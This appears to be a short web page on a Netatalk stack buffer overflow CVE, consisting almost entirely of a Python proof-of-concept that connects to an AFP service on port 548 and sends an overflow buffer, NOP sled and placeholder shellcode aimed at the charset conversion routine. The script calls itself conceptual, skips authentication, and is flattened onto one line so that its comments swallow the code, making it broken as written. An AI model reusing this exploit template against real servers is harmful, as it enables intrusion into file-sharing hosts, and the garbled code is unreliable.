CVE-2026-44048 Netatalk栈缓冲区溢出漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-44048 (Conceptual) import socket def exploit_poc(target_ip, port, username, password): try: # Establish connection to AFP service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, port)) # Simulate AFP Login (simplified) # In a real scenario, AFP handshake and authentication are required payload = b"\x00\x04\x41\x46\x50" # AFP Header stub # Malicious buffer to trigger UCS-2 type confusion overflow # The specific offset and padding depend on the binary analysis overflow = b"A" * 256 nop_sled = b"\x90" * 32 # shellcode placeholder shellcode = b"\xcc\xcc\xcc\xcc" # Construct malicious packet targeting convert_charset malicious_packet = payload + overflow + nop_sled + shellcode s.send(malicious_packet) print(f"[*] Malicious packet sent to {target_ip}:{port}") s.close() except Exception as e: print(f"Error: {e}") # Usage # exploit_poc("127.0.0.1", 548, "user", "pass")